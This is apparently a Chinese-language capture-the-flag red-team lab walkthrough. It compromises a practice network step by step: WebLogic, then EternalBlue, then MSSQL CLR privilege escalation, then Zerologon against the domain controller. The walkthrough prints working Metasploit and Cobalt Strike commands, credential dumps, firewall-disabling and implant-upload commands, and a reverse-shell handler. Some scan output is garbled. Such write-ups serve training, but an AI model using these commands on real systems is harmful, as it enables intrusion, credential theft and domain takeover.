

# 渗透测试攻击红队靶场一

## 环境介绍

- 攻击机: 192.168.111.25
- 靶机: 192.168.111.20/10.10.20.12

## 外网打点


### 漏洞探测

- fscan


```
1 fscan -h 192.168.111.20
2
3
4
5
6
7
8
9 Fscan Version: 2.0.0
10
11 [2026-01-12 11:16:48] [INFO] 暴力破解线程数: 1
12 [2026-01-12 11:16:48] [INFO] 开始信息扫描
13 [2026-01-12 11:16:48] [INFO] 最终有效主机数量: 1
14 [2026-01-12 11:16:48] [INFO] 开始主机扫描
15 [2026-01-12 11:16:49] [INFO] 有效端口数量: 233
16 [2026-01-12 11:16:52] [SUCCESS] 端口开放 192.168.111.20:7001
17 [2026-01-12 11:17:02] [SUCCESS] 服务识别 192.168.111.20:7001 => [http] 产
    品:Oracle webLogic admin httpd
18 [2026-01-12 11:17:02] [INFO] 存活端口数量: 1
19 [2026-01-12 11:17:02] [INFO] 开始漏洞扫描
20 [2026-01-12 11:17:02] [INFO] 加载的插件: webpoc, webtitle
21 [2026-01-12 11:17:06] [SUCCESS] 网站标题 http://192.168.111.20:7001 状态码:404
    长度:1164 标题:Error 404--Not Found
22 [2026-01-12 11:17:06] [SUCCESS] 发现指纹 目标: http://192.168.111.20:7001 指纹:
    [weblogic]
23 [2026-01-12 11:17:23] [SUCCESS] 扫描已完成: 2/2
```

- 开启7001端口, 存在weblogic漏洞


# weblogic漏洞



- 注入内存马，哥斯拉上线



# cs上线



# 第一层内网

## 信息收集

- 端口扫描

```
1 portscan 10.10.20.0-10.10.20.255 1-1024,3389,5000-6000 arp 1024
2 01/12 11:39:45 [*] Tasked beacon to scan ports 1-1024,3389,5000-6000 on
  10.10.20.0-10.10.20.255
3 01/12 11:39:46 [+] host called home, sent: 93797 bytes
4 01/12 11:39:48 [+] received output:
5 (ARP) Target '10.10.20.12' is alive. 00-50-56-B1-96-DC
6 (ARP) Target '10.10.20.7' is alive. 00-50-56-B1-E8-26
7
8 01/12 11:40:15 [+] received output:
9 10.10.20.12:5985
10
11 01/12 11:40:17 [+] received output:
12 10.10.20.12:139
13 10.10.20.12:135
14
15 01/12 11:40:26 [+] received output:
16 10.10.20.7:5357
17
18 01/12 11:40:44 [+] received output:
19 10.10.20.7:139
20 10.10.20.7:135
21
22 01/12 11:40:51 [+] received output:
23 10.10.20.7:445
24 10.10.20.12:445 (platform: 500 version: 6.3 name: WEBLOGIC domain:
  WORKGROUP)
25 Scanner module is complete
```

address	name
10.10.20.7	
10.10.20.12	WEBLOGIC
192.168.111.20	WEBLOGIC

- 10.10.20.0网段还存在一台主机10.10.20.7
- 抓取明文密码哈希

user	password	realm	note	source	host
Administrator	cce1208c6485269c20db2cad2...	WEBLOGIC		hashdump	192.168.111.20
WEBLOGIC\Administrator	Admin12345	WEBLOGIC\Administrator		mimikatz	192.168.111.20
Guest	31d6cfe0d16ae931b73c59d7e...	WEBLOGIC		hashdump	192.168.111.20

- psexec横向不过去

- fscan

```

1  [2026-01-12 12:58:36] [INFO] 鏈爰皖綯␣彛鐮伴嘶：233
2  [2026-01-12 12:58:36] [SUCCESS] 綯␣彛寮€€鐮⚡ 10.10.20.7:445
3  [2026-01-12 12:58:36] [SUCCESS] 綯␣彛寮€€鐮⚡ 10.10.20.7:135
4  [2026-01-12 12:58:36] [SUCCESS] 綯␣彛寮€€鐮⚡ 10.10.20.7:139
5  [2026-01-12 12:58:41] [SUCCESS] 鏈愼亥璇旓獰獰 10.10.20.7:445 =>
6  [2026-01-12 12:58:41] [SUCCESS] 鏈愼亥璇旓獰獰 10.10.20.7:139 => Banner:[.]
7
8  01/12 12:59:02 [+] received output:
9  [2026-01-12 12:59:41] [SUCCESS] 鏈愼亥璇旓獰獰 10.10.20.7:135 =>
10 [2026-01-12 12:59:41] [INFO] 瀛愨栵綯␣彛鐮伴嘶：3
11 [2026-01-12 12:59:41] [INFO] 寮€€濮�緳獰焜鑿鐮⚡
12 [2026-01-12 12:59:41] [INFO] 鐗�殑澆鑿勫癰涕⚡：findnet, ms17010, netbios, smb,
    smb2, smbghost
13
14 01/12 12:59:02 [+] received output:
15 [2026-01-12 12:59:41] [SUCCESS] 鑼戞幫綯絜訖 10.10.20.7 [Windows 7 Ultimate
    7601 Service Pack 1] MS17-010
16 [2026-01-12 12:59:41] [SUCCESS] NetInfo 錄␣零緇撒避
17 鏈愼␣熀涓繪湅：10.10.20.7
18 涓繪湅錫⚡：work-7
19 鑼戞幫鑿勫癰緇滄棧鑼⚡：
20     IPv4鐮板涓：
21         鍑旂攢 10.10.10.7
22         鍑旂攢 10.10.20.7
23
24 01/12 12:59:27 [+] received output:
25 [2026-01-12 13:00:06] [SUCCESS] 錄␣零宸插畝鐮⚡：6/6

```

- 存在第二层内网10.10.10.0网段
- 存在永恒之蓝


## MSF上线

- 开启监听

```

1  use exploit/multi/handler
2  set payload windows/x64/meterpreter/reverse_tcp
3  set lhost 192.168.111.25
4  set lport 5555
5  run

```



## 永恒之蓝

- 配置代理

```
1 post/multi/manage/autoroute
2
3 use auxiliary/server/socks_proxy
4 set SRVHOST 0.0.0.0
5 set SRVPORT 10800
6 set VERSION 5
7 run -j
```

代理规则
?
X

名称: 
☒ 是否有效

应用程序

举例: iexplore.exe; "some app.exe"; fire\*.exe; \*.bin

目标主机

举例: 127.0.0.1; \*.example.com; 192.168.1.\*; 10.1.0.0-10.5.255.255

目标端口

举例: 80; 8000-9000; 3128

动作(Direct-直接/Block-拦截):

- ms17-010

```

1 search ms17_010
2 use exploit/windows/smb/ms17_010_eternalblue
3 set rhosts 10.10.20.7
4 set payload windows/x64/meterpreter/bind_tcp
5 setg Proxies socks5:127.0.0.1:10800
6 set ReverseAllowProxy true
7 run

```

```

[*] 10.10.20.7:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 10.10.20.7:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.20.7:445 - Trying exploit with 17 Groom Allocations.
[*] 10.10.20.7:445 - Sending all but last fragment of exploit packet
[*] 10.10.20.7:445 - Starting non-paged pool grooming
[+] 10.10.20.7:445 - Sending SMBv2 buffers
[+] 10.10.20.7:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer
[*] 10.10.20.7:445 - Sending final SMBv2 buffers.
[*] 10.10.20.7:445 - Sending last fragment of exploit packet!
[*] 10.10.20.7:445 - Receiving response from exploit packet
[+] 10.10.20.7:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.20.7:445 - Sending egg to corrupted connection.
[*] 10.10.20.7:445 - Triggering free of corrupted buffer.
[*] Sending stage (230982 bytes) to 10.10.20.7
[*] Meterpreter session 2 opened (127.0.0.1:53972 -> 127.0.0.1:10800) at 2026-01-12 14:10
[+] 10.10.20.7:445 - =====
[+] 10.10.20.7:445 - =====WIN=====
[+] 10.10.20.7:445 - =====
meterpreter >

```

## 第二层内网


### cs上线

- 上传正向连接马

```
1 | upload "C:\Users\Administrator\Desktop\beacon.exe" beacon.exe
```

- 执行
- cs连接

```
1 | connect 10.10.20.7 4466
```



### 信息收集

- 端口扫描

```
1 | portscan 10.10.10.0-10.10.10.255 1-1024,3389,5000-6000 arp 1024
2 | 01/12 14:38:02 [*] Tasked beacon to scan ports 1-1024,3389,5000-6000 on
   | 10.10.10.0-10.10.10.255
3 | 01/12 14:38:02 [+] host called home, sent: 93704 bytes
4 | 01/12 14:38:03 [+] host called home, sent: 93 bytes
5 | 01/12 14:38:04 [+] received output:
6 | (ARP) Target '10.10.10.7' is alive. 00-50-56-B1-39-01
7 | (ARP) Target '10.10.10.8' is alive. 00-50-56-B1-7E-(ARP) Target
   | '10.10.10.18' is alive. 5B00
8 | -50-56-B1-CB-63
9 |
10 | 01/12 14:38:32 [+] received output:
11 | 10.10.10.18:5985
12 |
13 | 01/12 14:38:52 [+] received output:
14 | 10.10.10.18:139
15 | 10.10.10.18:135
16 | 10.10.10.18:80
17 |
18 | 01/12 14:39:31 [+] received output:
19 | 10.10.10.8:808
20 |
21 | 01/12 14:39:33 [+] received output:
22 | 10.10.10.8:636
```

```

23
24 01/12 14:39:35 [+] received output:
25 10.10.10.8:593
26 10.10.10.8:587
27
28 01/12 14:39:36 [+] received output:
29 10.10.10.8:464
30
31 01/12 14:39:37 [+] received output:
32 10.10.10.8:443
33 10.10.10.8:389
34
35 01/12 14:39:41 [+] received output:
36 10.10.10.8:139
37 10.10.10.8:135
38
39 01/12 14:39:47 [+] received output:
40 10.10.10.8:88
41 10.10.10.8:80
42
43 01/12 14:39:49 [+] received output:
44 10.10.10.8:53
45 10.10.10.8:25 (220 owa.redteam.red Microsoft ESMTMP MAIL Service ready at
    Mon, 12 Jan 2026 14:40:25 +0800)
46
47 01/12 14:39:51 [+] received output:
48 10.10.10.7:5357
49
50 01/12 14:39:56 [+] received output:
51 10.10.10.7:139
52 10.10.10.7:135
53
54 01/12 14:39:58 [+] received output:
55 10.10.10.7:445 (platform: 500 version: 6.1 name: WORK-7 domain: REDTEAM)
56 10.10.10.8:445 (platform: 500 version: 6.1 name: OWA domain: REDTEAM)
57
58 01/12 14:39:59 [+] received output:
59 10.10.10.18:445 (platform: 500 version: 6.1 name: SQLSERVER-2008 domain:
    REDTEAM)
60 Scanner module is complete

```

- 10.10.10.7是已上线的第一层内网主机，域 REDTEAM 内还存在两台主机，一台域控 OWA:10.10.10.8，一台10.10.10.18
- 抓取明文密码hash

Username	Hash	Platform	Version	Name	Domain
Administrator	31d6cfe0d16ae931b73c59d7e0c089c0	WORK-7	hashdump	10.10.20.7	01/12 14:43:49
Guest	31d6cfe0d16ae931b73c59d7e0c089c0	WORK-7	hashdump	10.10.20.7	01/12 14:43:49
john	518b98ad4178a53695dc997aa02d455c	WORK-7	hashdump	10.10.20.7	01/12 14:43:49

- 解密哈希

```

1 518b98ad4178a53695dc997aa02d455c
2 admin!@#45

```



	HASH	类型	明文	
#1	518b98ad4178a53695dc997aa02d455c	NTLM	admin!@#45	✓

- psexec都失败
- fscan探测

[illegible]

```
46 [2026-01-12 15:01:54] [SUCCESS] 鏈螯姦璇囨囁 10.10.10.8:88 =>
47
48 01/12 15:01:15 [+] received output:
49 [2026-01-12 15:01:54] [SUCCESS] 鏈螯姦璇囨囁 10.10.10.8:80 => [http]
50 [2026-01-12 15:01:54] [SUCCESS] 鏈螯姦璇囨囁 10.10.10.18:80 => [http]
51
52 01/12 15:01:16 [+] received output:
53 [2026-01-12 15:01:54] [SUCCESS] 鏈螯姦璇囨囁 10.10.10.7:139 => Banner:[.]
54 [2026-01-12 15:01:54] [SUCCESS] 鏈螯姦璇囨囁 10.10.10.18:139 => Banner:[.]
55 [2026-01-12 15:01:54] [SUCCESS] 鏈螯姦璇囨囁 10.10.10.8:139 => Banner:[.]
56 [2026-01-12 15:01:55] [SUCCESS] 鏈螯姦璇囨囁 10.10.10.8:389 => [ldap] 浜y
搨:Microsoft Windows Active Directory LDAP 緋葦稗:Windows 淇℃佷:Domain:
redteam.red, Site: Default-First-Site-Name
57 [2026-01-12 15:01:55] [SUCCESS] 鏈螯姦璇囨囁 10.10.10.7:445 =>
58 [2026-01-12 15:01:55] [SUCCESS] 鏈螯姦璇囨囁 10.10.10.8:445 =>
59 [2026-01-12 15:01:55] [SUCCESS] 鏈螯姦璇囨囁 10.10.10.18:445 =>
60
61 01/12 15:01:16 [+] received output:
62 [2026-01-12 15:01:55] [SUCCESS] 鏈螯姦璇囨囁 10.10.10.8:808 =>
63
64 01/12 15:01:18 [+] received output:
65 [2026-01-12 15:01:56] [SUCCESS] 鏈螯姦璇囨囁 10.10.10.18:1433 => [ms-sql-s]
鏼堟逢:10.00.1600; RTM 浜y搨:Microsoft SQL Server 2008 緋葦稗:Windows Banner:
[.%.@.]
66
67 01/12 15:01:21 [+] received output:
68 [2026-01-12 15:01:59] [SUCCESS] 纔 10.10.10.8:8172
69
70 01/12 15:02:15 [+] received output:
71 [2026-01-12 15:02:53] [SUCCESS] 鏈螯姦璇囨囁 10.10.10.7:135 =>
72 [2026-01-12 15:02:53] [SUCCESS] 鏈螯姦璇囨囁 10.10.10.18:135 =>
73 [2026-01-12 15:02:53] [SUCCESS] 鏈螯姦璇囨囁 10.10.10.8:135 =>
74
75 01/12 15:02:16 [+] received output:
76 [2026-01-12 15:02:55] [SUCCESS] 鏈螯姦璇囨囁 10.10.10.8:8172 =>
77
78 01/12 15:02:36 [+] received output:
79 [2026-01-12 15:03:15] [SUCCESS] 鏈螯姦璇囨囁 10.10.10.8:443 =>
80 [2026-01-12 15:03:15] [INFO] 瀛楁樁纔 17
81 [2026-01-12 15:03:15] [INFO] 寮€ 17
82 [2026-01-12 15:03:15] [INFO] 鏄犺澗 17: findnet, ldap, ms17010, mssql,
netbios, smb, smb2, smbghost, webpoc, webtitle
83
84 01/12 15:02:36 [+] received output:
85 [2026-01-12 15:03:15] [SUCCESS] 鏄犺澗 10.10.10.7 [Windows 7 Ultimate
7601 Service Pack 1] MS17-010
86 [2026-01-12 15:03:15] [SUCCESS] 鏄犺澗 http://10.10.10.18 鏄�
鏄:200 闂垮:689 鏄: IIS7
87 [2026-01-12 15:03:15] [SUCCESS] NetInfo 鏄 10.10.10.7
88 鏄 10.10.10.7
89 鏄: work-7
90 鏄:
91 IPV4 鏄:
92 鏄 10.10.10.7
93 鏄 10.10.20.7
94 [2026-01-12 15:03:15] [SUCCESS] NetInfo 鏄 10.10.10.7
```

```

95 鐙燗涓绘: 10.10.10.18
96 涓绘鐙: sqlserver-2008
97 鐙戙鐙燗涓绘鐙:
98     IPv4鐙板:
99     鐙 10.10.10.18
100 [2026-01-12 15:03:15] [INFO] 鐙燗涓绘 10.10.10.18 [Windows Server 2008 R2
Datacenter 7601 Service Pack 1]
101 [2026-01-12 15:03:15] [INFO] 鐙燗涓绘 10.10.10.8 [Windows Server 2008 R2
Datacenter 7601 Service Pack 1]
102 [2026-01-12 15:03:15] [SUCCESS] NetBios 10.10.10.18      sqlserver-
2008.redteam.red      windows Server 2008 R2 Datacenter 7601 Service
Pack 1
103
104 01/12 15:02:37 [+] received output:
105 [2026-01-12 15:03:15] [SUCCESS] NetInfo 鐙燗涓绘
106 鐙燗涓绘: 10.10.10.8
107 涓绘鐙: owa
108 鐙�.:
109     IPv4鐙板:
110     鐙 10.10.10.8
111 [2026-01-12 15:03:15] [SUCCESS] NetBios 10.10.10.8      DC:owa.redteam.red
      windows Server 2008 R2 Datacenter 7601 Service Pack 1
112 [2026-01-12 15:03:15] [SUCCESS] 鐙燗涓绘 http://10.10.10.8      鐙燗涓
      鐙:403 鐙:1157      鐙:403 - 鐙燗涓: 鐙燗涓鐙燗涓
113 [2026-01-12 15:03:15] [SUCCESS] 鐙燗涓 http://10.10.10.8      鐙燗涓
      鐙:200 鐙:689      鐙:IIS7
114 [2026-01-12 15:03:15] [SUCCESS] MSSQL 10.10.10.18:1433 sa sa
115
116 01/12 15:04:21 [+] received output:
117 [2026-01-12 15:05:00] [SUCCESS] 鐙燗涓: 32/32
118
119

```

## 鐙燗涓--MSSQL

### msf寮€鐙

```

1 post/multi/manage/autoroute
2
3 use auxiliary/server/socks_proxy
4 set SRVHOST 0.0.0.0
5 set SRVPORT 10801
6 set VERSION 5
7 run -j

```

- 鐙proxifier

代理规则

名称:  ☒ 是否有效

应用程序

举例: iexplore.exe; "some app.exe"; fire\*.exe; \*.bin

目标主机

举例: 127.0.0.1; \*.example.com; 192.168.1.\*; 10.1.0.0-10.5.255.255

目标端口

举例: 80; 8000-9000; 3128

动作(Direct-直接/Block-拦截):

## SharpSQLTools

### 第一步: `install_clr` - 植入攻击载荷

- 向SQL Server的 `master` 数据库上传并注册一个恶意的CLR程序集 (DLL)
  - 原理: 利用 `sa` 账号的 `sysadmin` 权限, 将包含后门的.NET代码植入SQL Server进程
  - 效果: 相当于在SQL Server内部安装了一个"插件", 后续可通过SQL语句调用其中的恶意方法

```
1 SharpSQLTools.exe 10.10.10.18 sa sa master install_clr
```

### 第二步: `enable_clr` - 开启CLR执行功能

```
1 SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
```

### 第三步: clr\_efspotato "whoami" - 提权并执行命令

```
1 SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "whoami"
2
3 Current user: NT AUTHORITY\NETWORK SERVICE ← 当前SQL服务账户
4 Get Token: 1912 ← 窃取到的SYSTEM令牌
5 Command: c:\windows\System32\cmd.exe /c whoami
6 process with pid: 2164 created. ← 成功创建SYSTEM权限进程
7 NT AUTHORITY\SYSTEM ← whoami 返回结果, 提权成功!
```

- 关闭防火墙

```
1 SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "netsh advfirewall
  set allprofiles state off"
```

- 创建新目录

```
1 SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "md
  C:\ProgramData\update"
```

- 上传反向连接木马

```
1 SharpSQLTools.exe 10.10.10.18 sa sa master upload
  "C:\Users\Administrator\Desktop\beacon.exe"
  "C:\ProgramData\update\svchost.exe"
```



- 执行, 返回结果不一定成功, 但是cs上线

```
1 SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato
  "C:\ProgramData\update\svchost.exe"
```

- CS

```
1 connect 10.10.10.18 4466
```

external	internal *	listener	user	computer	note	process	pid	arch
10.10.20.7	10.10.10.18	MSF	SYSTEM *	SQLSERVER-2008		svchost.exe	2908	x64
192.168.111.20	10.10.20.7	MSF	SYSTEM *	WORK-7		beacon.exe	316	x64
192.168.111.20	192.168.111.20	MSF	Administrator *	WEBLOGIC		a.exe	1568	x64

# Zerologon拿域控

- msf

```
1 | search cve-2020-1472
2 | use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
3 | set rhosts 10.10.10.8
4 | set nbname owa
5 | setg Proxies socks5:127.0.0.1:10801
6 | set ReverseAllowProxy true
7 | run
```

```
msf auxiliary(server/socks_proxy) > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
[*] Setting default action REMOVE - view all 2 actions with the show actions command
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set rhosts 10.10.10.8
rhosts => 10.10.10.8
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set nbname owa
nbname => owa
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > setg Proxies socks5:127.0.0.1:10801
Proxies => socks5:127.0.0.1:10801
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set ReverseAllowProxy true
[!] Unknown datastore option: ReverseAllowProxy.
ReverseAllowProxy => true
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
[*] Running module against 10.10.10.8
[*] 10.10.10.8: - Connecting to the endpoint mapper service...
[*] 10.10.10.8: - Binding to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:10.10.10.8[6008] ...
[*] 10.10.10.8: - Bound to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:10.10.10.8[6008] ...
[+] 10.10.10.8: - Successfully authenticated
[+] 10.10.10.8: - Successfully set the machine account (owa$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)
[*] Auxiliary module execution completed
```

- cs用psexec横向

psexec

user	password	realm	note
Administrator	ccef208c6485269...	WEBLOGIC	
Administrator	31d6cfe0d16ae93...	WORK-7	
Guest	31d6cfe0d16ae93...	WORK-7	
Administrator	ccef208c6485269...	SQLSERVER-2008	
john	518b98ad4178a5	WORK-7	

用户: OWA\$

密码: 31d6cfe0d16ae931b73c59d7e0c089c0

域: WORK-7

监听器: SMB1


会话: SYSTEM \* via 10.10.20.7@316

☐ 使用会话的当前访问令牌 (access token)

运行

帮助

external	internal	listener	user	computer	note
10.10.20.7	10.10.10.8	MSF	SYSTEM *	OWA	
10.10.20.7	10.10.10.18	MSF	SYSTEM *	SQLSERVER-2008	
192.168.111.20	10.10.20.7	MSF	SYSTEM *	WORK-7	
192.168.111.20	192.168.111.20	MSF	Administrator *	WEBLOGIC	



```
1 | shell dir /s /b C:\ | findstr "flag"
```

```
1 | flag{490cb65f84df83ea3a76451678e932c0}
```